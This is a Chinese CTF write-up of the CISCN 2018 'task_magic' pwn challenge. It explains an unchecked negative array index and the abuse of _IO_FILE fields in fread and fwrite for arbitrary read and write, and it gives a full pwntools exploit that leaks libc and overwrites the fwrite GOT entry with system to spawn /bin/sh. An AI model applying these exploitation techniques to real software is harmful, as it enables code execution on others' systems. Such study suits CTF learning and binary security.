首先要参考:https://www.anquanke.com/post/id/194577

这里就照着ciscn2018的task_magic来写一写

文件都在:Github

checksec

1
2
3
4
5
6
[*] '/home/dajun/binary/pwn_question/heap/ciscn2018 task_magic/task_magic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以覆写got表,不能栈溢出,栈不可执行,没有开PIE

漏洞点

wizard_spell函数中,在取全局数组中的指针的时候,没有对索引进行检查:

1
2
3
4
5
6
7
8
9
10
char v2; // [rsp+3h] [rbp-3Dh]
__int64 v3; // [rsp+8h] [rbp-38h]
printf("Who will spell:");
v2 = read_int();
if ( !wizards[v2] || v2 > 2 )
{
puts("evil wizard!");
exit(0);
}
v3 = wizards[v2];

所以v2可以是负数

1
2
3
4
5
6
7
.bss:00000000006020E0 log_file        dq ?                    ; DATA XREF: main:loc_400A3D↑r
.bss:00000000006020E0 ; main+D2↑r ...
.bss:00000000006020E8 align 10h
.bss:00000000006020F0 public wizards
.bss:00000000006020F0 ; __int64 wizards[3]
.bss:00000000006020F0 wizards dq ? ; DATA XREF: create_wizard+1D↑r
.bss:00000000006020F0 ; create_wizard+C2↑w ...

v2是-2的时候,就可以取到log_file作为指针进行操作

1
2
3
4
size_t __fastcall write_spell(const void *a1, size_t a2)
{
return fwrite(a1, a2, 1uLL, log_file);
}
1
2
3
4
5
6
7
8
9
10
unsigned __int64 read_spell()
{
char ptr; // [rsp+0h] [rbp-30h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
fread(&ptr, 1uLL, 0x20uLL, log_file);
write(1, &ptr, 0x20uLL);
return __readfsqword(0x28u) ^ v2;
}

这两个函数就是对取出指针操作的函数,其中第一个函数是往log_file所指向的文件写,第二个是从中读

利用方法

文件中有这么一个操作

1
*(_QWORD *)(v3 + 40) -= 0x32LL;

如果v3指向的是log_file的话,这个就是在对log_file所指向的_IO_FILE结构体的_IO_write_ptr进行操作

_IO_write_ptr指向的是当前应该往哪里写入

得到libc地址

一直对_IO_write_ptr进行减0x32,直到它的指针指向log_file这个_IO_FILE结构体的头部之前的地方

此时调用write_spell函数的话,就会向_IO_write_ptr所指向的地址写你所输入的数据

所以我们可以把_IO_read_ptr_IO_read_end分别覆盖成puts_gotputs_got+0x60

这时通过read_spell函数读的话,读出来的数据就是puts_got附近的数据,我们就得到了puts的libc中的地址

同时_IO_read_ptr自增0x20

修改got表

我选择的是fwrite

fread的时候,如果_IO_read_end ==_IO_read_ptr的话,就会调用__underflow函数

_IO_new_file_underflow中在执行系统调用之前会设置一次FILE指针,将
_IO_read_base、_IO_read_ptr、fp->_IO_read_end、_IO_write_base、IO_write_ptr全部设置为_IO_buf_base。

我们便可以再调用两次fread,一次用来填充,一次用来覆盖_IO_buf_base

这时候相等条件就成立了

下一次fwrite的时候,就会把我们的输入写到_IO_buf_base所指向的内存,即strcpy的got

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x, drop=True)
r = lambda :io.recv()
it = lambda: io.interactive()
success = lambda x:log.success(x)

binary = './task_magic'
io = process(binary)

def debug():
gdb.attach(io)
raw_input()

def create(name):
ru('choice>> ')
sl('1')
ru('name:')
s(name)

def spell(index, data):
ru('choice>> ')
sl('2')
ru('spell:')
sl(str(index))
ru('name:')
s(data)

def final(index):
ru('choice>> ')
sl('3')
ru('chance:')
sl(str(index))

puts_got = 0x602020
fwrite_got = 0x602090

create('xxx')
spell(0, '/bin/sh\x00') #这两步是为了初始化log_file的_IO_FILE结构
for _ in range(12):
spell(-2, '\x00')
spell(-2, '\x00'*30)
spell(-2, '\x00') # 这几步执行完,_IO_write_ptr就会指向log_file-2的位置
spell(0, '\x00\x00' + p64(0xfbad24a8)) #这是为了填充的,原来的flag符合我们利用的条件,所以不用改
spell(0, p64(puts_got) + p64(puts_got+0x60))
puts_address = u64(rn(8)) #这两步就完成了libc地址的leak
success("puts address: 0x%x" %(puts_address))
libc_base = puts_address - 0x6f690
success("libc base: 0x%x" %(libc_base))
sys_address = libc_base + 0x45390
success("system address: 0x%x" %(sys_address))
spell(0, p64(0)*2) # 这是为了填充的
spell(0, p64(fwrite_got)+p64(fwrite_got+0x100)+p64(fwrite_got+50)) #主要起作用的其实只有最后一项
spell(-2, '\x00') # 为了让_IO_read_end ==_IO_read_ptr
spell(0, p64(sys_address)) # 把fwrite的got覆盖成system
spell(0, "/bin/sh\x00") # 这里它会执行fwrite("/bin/sh")即system("/bin/sh")
it()

贴上人家的原文

本文将简单介绍一下scanf的长度绕过和由fwrite、fread实现的任意读写,然后用两个ctf例题(2018年的两道国赛题 echo_back 和 magic)来加深理解。

本文中write_s,write_e,read_s,read_e分别表示开始写入的开始结束地址、读取的开始结束地址。

fread 之 stdin任意写

网上介绍fread源码分析的文章很多,所以本文就不着重分析他的详细流程了。

首先先介绍一下file结构(FILE在Linux系统的标准IO库中是用于描述文件的结构,称为文件流。 FILE结构在程序执行fopen等函数时会进行创建,并分配在堆中。我们常定义一个指向FILE结构的指针来接收这个返回值。)

FILE结构定义在libio.h中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
> struct _IO_FILE {
> int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
> #define _IO_file_flags _flags
>
> /* The following pointers correspond to the C++ streambuf protocol. */
> /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
> char* _IO_read_ptr; /* Current read pointer */
> char* _IO_read_end; /* End of get area. */
> char* _IO_read_base; /* Start of putback+get area. */
> char* _IO_write_base; /* Start of put area. */
> char* _IO_write_ptr; /* Current put pointer. */
> char* _IO_write_end; /* End of put area. */
> char* _IO_buf_base; /* Start of reserve area. */
> char* _IO_buf_end; /* End of reserve area. */
> /* The following fields are used to support backing up and undo. */
> char *_IO_save_base; /* Pointer to start of non-current get area. */
> char *_IO_backup_base; /* Pointer to first valid character of backup area */
> char *_IO_save_end; /* Pointer to end of non-current get area. */
>
> struct _IO_marker *_markers;
>
> struct _IO_FILE *_chain;
>
> int _fileno;
> #if 0
> int _blksize;
> #else
> int _flags2;
> #endif
> _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
>
> #define __HAVE_COLUMN /* temporary */
> /* 1+column number of pbase(); 0 is unknown. */
> unsigned short _cur_column;
> signed char _vtable_offset;
> char _shortbuf[1];
>
> /* char* _save_gptr; char* _save_egptr; */
>
> _IO_lock_t *_lock;
> #ifdef _IO_USE_OLD_IO_FILE
> };
>

先着重介绍其中要用到的指针:

  • _IO_buf_base:输入(出)缓冲区的基地址,_IO_file_xsgetn函数会通过它来判断输入缓冲区是否为空,为空则会调用_IO_doallocbuf函数来进行初始化。
  • _IO_buf_end:输入(出)缓冲区的结束地址。
  • _IO_read_ptr:指向当前要写入的地址。
  • _IO_read_end:一般和_IO_read_ptr共同使用,_IO_read_end-_IO_read_ptr表示可用的输入缓冲区大小。

接下来是实现任意写的过程:

在_IO_file_xsgetn中:

1
2
3
4
5
6
7
8
9
10
11
12
> if (fp->_IO_buf_base == NULL)
> 会判断输入缓冲区是否为空,为空则调用_IO_doallocbuf。
> 我们是不希望他初始化缓冲区的,所以要构造fp->_IO_buf_base != NULL
> have = fp->_IO_read_end - fp->_IO_read_ptr;
>
> if (have > 0)
> {
> 将输入缓冲区中的内容拷贝至目标地址。
> }
>
> 这里我们要实现任意写,就不能满足这个条件,一般构造_IO_read_end ==_IO_read_ptr,这样的话缓冲区就满足不了当前的需求,就会接着调用__underflow
>

__underflow(_IO_new_file_underflow)中有两个判断需要绕过:

1、

1
2
3
4
> if (fp->_flags & _IO_NO_READS)
>
> 满足的话就会直接返回;所以这里要保证_flag位中不能有四。
>

2、

1
2
3
4
5
6
7
8
> if (fp->_IO_read_ptr < fp->_IO_read_end)
> return *(unsigned char *) fp->_IO_read_ptr;
>
> 这里满足的话也会直接返回,所以我们一般构造_IO_read_end ==_IO_read_ptr。
>
> 因为最终调用的是read (fp->_fileno, buf, size)),所以我们还要构造
> fp->_fileno为0
>

小结一下:

  • 设置_IO_buf_base为write_s,_IO_buf_end为write_end(_IO_buf_end-_IO_buf_base要大于0)
  • flag位不能含有4(_IO_NO_READS),_fileno要为0。(最好就直接使用原本的flag)
  • 设置_IO_read_end等于_IO_read_ptr。

_IO_new_file_underflow中在执行系统调用之前会设置一次FILE指针,将
_IO_read_base、_IO_read_ptr、fp->_IO_read_end、_IO_write_base、IO_write_ptr全部设置为_IO_buf_base。

这个内容后面的题目magic要用到,先在这里提一下。

1
2
3
4
5
6
7
8
>   fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
> fp->_IO_read_end = fp->_IO_buf_base;
> fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
> = fp->_IO_buf_base;
>
> count = _IO_SYSREAD (fp, fp->_IO_buf_base,
> fp->_IO_buf_end - fp->_IO_buf_base);
>

scanf 的长度修改:

scanf是调用stdin中的_IO_new_file_underflow去调用read的(和fread相同)。

这里依旧是上面的那几个关键代码:

1
2
3
4
5
6
7
8
9
10
> 一:·········································
> if (fp->_IO_read_ptr < fp->_IO_read_end)
> return *(unsigned char *) fp->_IO_read_ptr;
>
> 二:·········································
> count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
>
> 三:·········································
> fp->_IO_read_end += count;
>

我们可以知道它是向fp->_IO_buf_base处写入(fp->_IO_buf_end – fp->_IO_buf_base)长度的数据。

只要我们可以修改_IO_buf_base和_IO_buf_end就可以实现任意位置任意长度的数据写入。

第三部分我们放到题目each_back中来分析。

fwrite 之 stdout任意读写

因为stdout会将缓冲区中的数据输出出来,所以就具有了stdin没有的任意读功能。

首先说一下涉及到的指针:

  • _IO_write_base:输出缓冲区基址。
  • _IO_write_end:输出缓冲区结束地址。
  • _IO_write_ptr:_IO_write_ptr和_IO_write_base之间的地址为已使用的缓冲区,_IO_write_ptr和_IO_write_end之间为未使用的缓冲区。
  • _IO_buf_base:输入(出)缓冲区的基地址。
  • _IO_buf_end:输入(出)缓冲区的结束地址。

任意写:

1
2
3
4
5
6
7
8
> else if (f->_IO_write_end > f->_IO_write_ptr)
> count = f->_IO_write_end - f->_IO_write_ptr;
> if (count > 0)
> {
> 把数据拷贝到缓冲区。
> }
> 他的任意写是基于_IO_new_file_xsputn中将数据复制到缓冲区这一功能能实现的。
>

所以我们只要构造_IO_write_ptr为write_s,_IO_write_end为write_e,自然就满足了if的条件,这样就达到了任意写的目的。

任意读:

简单写一下fwrite的关键流程:

_IO_new_file_xsputn —> _IO_OVERFLOW(_IO_new_file_overflow) —>
_IO_do_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
> else if (f->_IO_write_end > f->_IO_write_ptr)
> count = f->_IO_write_end - f->_IO_write_ptr;
> if (count > 0)
> {
> 把数据拷贝到缓冲区。
> }
> if (to_do + must_flush > 0)
> {
> if (_IO_OVERFLOW (f, EOF) == EOF)
>
>
> 这里不同于上面的任意读,我们不希望他将数据拷贝到缓冲区中,这里一般构造f->_IO_write_end = f->_IO_write_ptr。
> 之后就会去调用_IO_OVERFLOW(_IO_new_file_overflow)
> _IO_new_file_overflow中有两个对flag位的检查
>
> if (f->_flags & _IO_NO_WRITES)
> if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
>
> 所以flag位要不包含80x800
> 接下来就会调用:
> if (ch == EOF)
> return _IO_do_write (f, f->_IO_write_base,
> f->_IO_write_ptr - f->_IO_write_base);
> return (unsigned char) ch;
>

其中_IO_do_write函数的作用是输出缓冲区,我们这里要构造_IO_write_base为read_s,构造_IO_write_ptr为read_e。

在_IO_do_write中还有几个判断需要绕过:

1
2
3
4
> if (fp->_flags & _IO_IS_APPENDING)
>
> else if (fp->_IO_read_end != fp->_IO_write_base)
>

flag位不能包含 0x1000(_IO_IS_APPENDING),并且要构造fp->_IO_read_end = fp->_IO_write_base。

最后构造f->_fileno为1。

小结:

  • flag位: 不能包含0x8、0x800、0x1000(最好就直接使用原本的flag)
  • 构造_fileno为1
  • 构造_IO_write_base=read_s,_IO_write_ptr=read_e。